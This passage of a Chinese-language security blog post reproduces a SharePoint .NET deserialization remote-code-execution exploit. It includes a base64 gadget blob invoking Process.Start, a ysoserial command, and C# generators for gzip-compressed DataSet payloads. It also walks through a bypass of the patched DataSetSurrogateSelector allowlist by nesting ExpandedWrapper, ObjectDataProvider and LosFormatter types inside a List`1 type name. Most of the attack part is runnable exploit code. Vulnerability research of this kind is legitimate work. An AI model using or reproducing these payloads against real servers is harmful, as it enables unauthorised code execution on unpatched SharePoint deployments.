B21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL");
            var wrapperType = typeof(ExpandedWrapper<,>).MakeGenericType(typeof(LosFormatter), typeof(ObjectDataProvider));
            dynamic wrapper = Activator.CreateInstance(wrapperType);
            wrapper.ExpandedElement = losFormatter;
            wrapper.ProjectedProperty0 = odp;

            var listType = typeof(List<>).MakeGenericType(wrapperType);
            dynamic list = Activator.CreateInstance(listType);
            list.Add(wrapper);

            DataTable dt = new DataTable("hehe");
            dt.Columns.Add("pwn", listType);
            dt.Rows.Add(list);
            DataSet ds = new DataSet("somedataset");
            ds.Tables.Add(dt);

            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress))
                {
                    BinaryFormatter formatter = new BinaryFormatter();
                    formatter.Serialize(gzipStream, ds); 
                }

                // 获取压缩数据并转换成 Base64 字符串
                byte[] compressedData = memoryStream.ToArray();
                string payload = Convert.ToBase64String(compressedData);
                Console.WriteLine(payload);
            }

            }
        }
    }

其中LosFormatter.Deserialize反序列化的内容是TypeConfuseDelegate链子

ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c winver -o base64

将生成的内容填入CompressData

image.png

0x04 写在最后

在复现漏洞的时候,我并没有看到文章中所说的DataSetSurrogateSelector选择器,我猜测这个选择器是打了CVE-2020-1147的补丁。

https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-1147

0x05 DataSetSurrogateSelector选择器

在我打了补丁之后,发现之前的POC已经打不通了,在文章中很详细的给出了其过滤规则,

https://blog.viettelcybersecurity.com/sharepoint-toolshell/

利用了自写的BinarySerialization.Deserialize

image.png

先是利用了LimitingBinder做了限制

private sealed class LimitingBinder : SerializationBinder
        {
            // Token: 0x06000002 RID: 2 RVA: 0x00002110 File Offset: 0x00000310
            internal LimitingBinder(IEnumerable<Type> extraTypes)
            {
                this._allowedTypeMap = new TypeMap();
                this._allowedTypeMap.Add(typeof(DataSet));
                this._allowedTypeMap.Add(typeof(DataTable));
                this._allowedTypeMap.Add(typeof(SchemaSerializationMode));
                this._allowedTypeMap.Add(typeof(Version));
                if (extraTypes != null)
                {
                    foreach (Type type in extraTypes)
                    {
                        if (type != null && !(type == typeof(DataSet)) && !(type == typeof(DataTable)))
                        {
                            if (typeof(DataSet).IsAssignableFrom(type) || typeof(DataTable).IsAssignableFrom(type))
                            {
                                throw new ArgumentException("");
                            }
                            this._allowedTypeMap.Add(type);
                        }
                    }
                }
            }

这里可以看到拥有DataSet所以不需要关心,之后便会进入到DataSetSurrogateSelector选择器。

public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
            {
                Type type = obj.GetType();
                Type baseType = type.BaseType;
                if (type != typeof(DataSet) && type != typeof(DataTable) && !type.IsSubclassOf(typeof(DataSet)) && !type.IsSubclassOf(typeof(DataTable)))
                {
                    return null;
                }
                SerializationInfo serializationInfo = new SerializationInfo(obj.GetType(), new FormatterConverter());
                string @string = info.GetString("XmlSchema");
                if (@string != null)
                {
                    this._validator.ValidateXml(@string);
                    serializationInfo.AddValue("XmlSchema", @string);
                }
                string string2 = info.GetString("XmlDiffGram");
                if (string2 != null)
                {
                    this._validator.ValidateXml(string2);
                    serializationInfo.AddValue("XmlDiffGram", string2);
                }
                ConstructorInfo constructor = obj.GetType().GetConstructor(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, new Type[]
                {
                    typeof(SerializationInfo),
                    typeof(StreamingContext)
                }, null);
                if (constructor != null)
                {
                    constructor.Invoke(obj, new object[]
                    {
                        serializationInfo,
                        context
                    });
                }
                return obj;
            }

这里会提取出SerializationInfo中的XmlSchemaXmlDiffGram,然后使用XmlValidator来验证信息。

        // Token: 0x06000063 RID: 99 RVA: 0x00003A74 File Offset: 0x00001C74
        private void ValidateXml(XDocument document)
        {
            foreach (XElement xelement in document.Descendants())
            {
                foreach (XAttribute xattribute in xelement.Attributes(Constants.MSD_DATATYPE_XName))
                {
                    this.ValidateTypeIsAllowed(xattribute.Value);
                }
                foreach (XAttribute xattribute2 in xelement.Attributes(Constants.MSD_INSTANCETYPE_XName))
                {
                    this.ValidateTypeIsAllowed(xattribute2.Value);
                }
                foreach (XAttribute xattribute3 in xelement.Attributes(Constants.MSD_EXPRESSION_XName))
                {
                    this.ValidateExpressionIsAllowed(xattribute3.Value);
                }
            }
        }

验证DataTypeInstanceTypeExpression不在允许列表中,XmlValidator就会抛出异常。

        private void ValidateTypeIsAllowed(string fullTypeName)
        {
            TypeInAssembly typeInAssembly = TypeNameParser.ParseAssemblyQualifiedName(fullTypeName);
            if (!this.IsAllowedType(typeInAssembly.TypeNameText, typeInAssembly.AssemblyNameText))
            {
                this.ThrowInvalidTypeException(fullTypeName);
            }
        }

允许列表如下,

internal static class DefaultAllowList
    {
        // Token: 0x04000004 RID: 4
        internal static Type[] Members = new Type[]
        {
            typeof(bool),
            typeof(char),
            typeof(sbyte),
            typeof(byte),
            typeof(short),
            typeof(ushort),
            typeof(int),
            typeof(uint),
            typeof(long),
            typeof(ulong),
            typeof(float),
            typeof(double),
            typeof(decimal),
            typeof(DateTime),
            typeof(DateTimeOffset),
            typeof(TimeSpan),
            typeof(string),
            typeof(Guid),
            typeof(SqlBinary),
            typeof(SqlBoolean),
            typeof(SqlByte),
            typeof(SqlBytes),
            typeof(SqlChars),
            typeof(SqlDateTime),
            typeof(SqlDecimal),
            typeof(SqlDouble),
            typeof(SqlGuid),
            typeof(SqlInt16),
            typeof(SqlInt32),
            typeof(SqlInt64),
            typeof(SqlMoney),
            typeof(SqlSingle),
            typeof(SqlString),
            typeof(object),
            typeof(Uri),
            typeof(Color),
            typeof(Point),
            typeof(PointF),
            typeof(Rectangle),
            typeof(RectangleF),
            typeof(Size),
            typeof(SizeF)
        };
    }

是一些和RCE毫不相关的类型,这里我们注意到TypeNameParser.ParseAssemblyQualifiedName(fullTypeName);会对传入的类型名称作解析。

// Token: 0x06000054 RID: 84 RVA: 0x000036C0 File Offset: 0x000018C0
        public static TypeInAssembly ParseAssemblyQualifiedName(string assemblyQualifiedName)
        {
            assemblyQualifiedName = ((assemblyQualifiedName != null) ? assemblyQualifiedName.Trim() : null);
            if (string.IsNullOrEmpty(assemblyQualifiedName))
            {
                throw new ArgumentOutOfRangeException("assemblyQualifiedName");
            }
            int num = 0;
            for (int i = 0; i < assemblyQualifiedName.Length; i++)
            {
                char c = assemblyQualifiedName[i];
                if (c != ',')
                {
                    checked
                    {
                        switch (c)
                        {
                        case '[':
                            num++;
                            break;
                        case ']':
                            num--;
                            break;
                        }
                    }
                }
                else if (num == 0)
                {
                    string typeName = assemblyQualifiedName.Substring(0, i).Trim();
                    string text = assemblyQualifiedName.Substring(i + 1);
                    string[] array = text.Split(new char[]
                    {
                        ','
                    });
                    if (array[0].IndexOf('=') >= 0)
                    {
                        throw new ArgumentOutOfRangeException("assemblyQualifiedName");
                    }
                    for (i = 1; i < array.Length; i++)
                    {
                        string text2 = array[i].Trim();
                        if (!text2.StartsWith("Version=", StringComparison.Ordinal) && !text2.StartsWith("Culture=", StringComparison.Ordinal) && !text2.StartsWith("PublicKeyToken=", StringComparison.Ordinal))
                        {
                            throw new ArgumentOutOfRangeException("assemblyQualifiedName");
                        }
                    }
                    return new TypeInAssembly(typeName, new AssemblyName(text));
                }
            }
            if (num != 0)
            {
                throw new ArgumentOutOfRangeException("assemblyQualifiedName");
            }
            Type type;
            TypeNameParser._defaultSimpleNameMappings.TryGetValue(assemblyQualifiedName, out type);
            type = (type ?? typeof(object));
            return new TypeInAssembly(type.FullName, TypeNameParser.SimplifyAssemblyName(type.Assembly.GetName()));
        }

在这里检查类型的时候,只会检查[]外边的部分,检查类型名称是否包含逗号,,然后提取类型名称并返回它。

但是当类型名称没有,或者在[]外面没有,的时候,会从_defaultSimpleNameMappings获取类型。如果在其中没有的话,则该类型将转换为object,而object是包含在允许的列表当中的。

因此我们可以通过XmlValidator

所以我们可以构造

System.Collections.Generic.List`1[[<any type, any assembly name>]]

来绕过限制,因为System.Collections.Generic.Listmscorlib中,所以我们不需要指定程序集名称部分。

构造出最终的payload

using System;
using System.Data;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
public class Program
{
    public static void Main()
    {

        CustomPayload customPayload = new CustomPayload();
        byte[] binaryPayload;
        using (MemoryStream ms = new MemoryStream())
        {
            BinaryFormatter formatter = new BinaryFormatter();
            formatter.Serialize(ms,customPayload);
            binaryPayload = ms.ToArray();
        }

        string base64Payload = Convert.ToBase64String(CompressPayload(binaryPayload));

        Console.WriteLine("--- 生成的 BinaryFormatter Base64  ---");
        Console.WriteLine(base64Payload);
    }
    public static byte[] CompressPayload(byte[] payload)
    {
        using (MemoryStream memoryStream = new MemoryStream())
        {
            using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress))
            {
                gzipStream.Write(payload, 0, payload.Length);
            }

            return memoryStream.ToArray();
        }
    }
}
[Serializable]
public class CustomPayload : ISerializable
{
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(typeof(System.Data.DataSet));
        info.AddValue("XmlSchema", "<xs:schema xmlns=\"\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" id=\"dataset\">\r\n    <xs:element name=\"dataset\" msdata:IsDataSet=\"true\" msdata:UseCurrentLocale=\"true\">\r\n        <xs:complexType>\r\n            <xs:choice minOccurs=\"0\" maxOccurs=\"unbounded\">\r\n                <xs:element name=\"test\">\r\n                    <xs:complexType>\r\n                        <xs:sequence>\r\n                            <xs:element name=\"pwn\" msdata:DataType=\"System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\" type=\"xs:anyType\" minOccurs=\"0\"/>\r\n                        </xs:sequence>\r\n                    </xs:complexType>\r\n                </xs:element>\r\n            </xs:choice>\r\n        </xs:complexType>\r\n    </xs:element>\r\n</xs:schema>");
        info.AddValue("XmlDiffGram", "<diffgr:diffgram xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" xmlns:diffgr=\"urn:schemas-microsoft-com:xml-diffgram-v1\">\r\n        <dataset>\r\n            <test diffgr:id=\"Table\" msdata:rowOrder=\"0\" diffgr:hasChanges=\"inserted\">\r\n                <pwn xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\r\n                    <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" >\r\n                    <ExpandedElement/>\r\n                    <ProjectedProperty0>\r\n                        <MethodName>Deserialize</MethodName>\r\n                        <MethodParameters>\r\n                            <anyType xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xsi:type=\"xsd:string\">{base64payload}</anyType>\r\n                    </MethodParameters>\r\n                    <ObjectInstance xsi:type=\"LosFormatter\"></ObjectInstance>\r\n            </ProjectedProperty0>\r\n        </ExpandedWrapperOfLosFormatterObjectDataProvider>\r\n                </pwn>\r\n            </test>\r\n        </dataset>\r\n    </diffgr:diffgram>");
    }
}

标签: none

添加新评论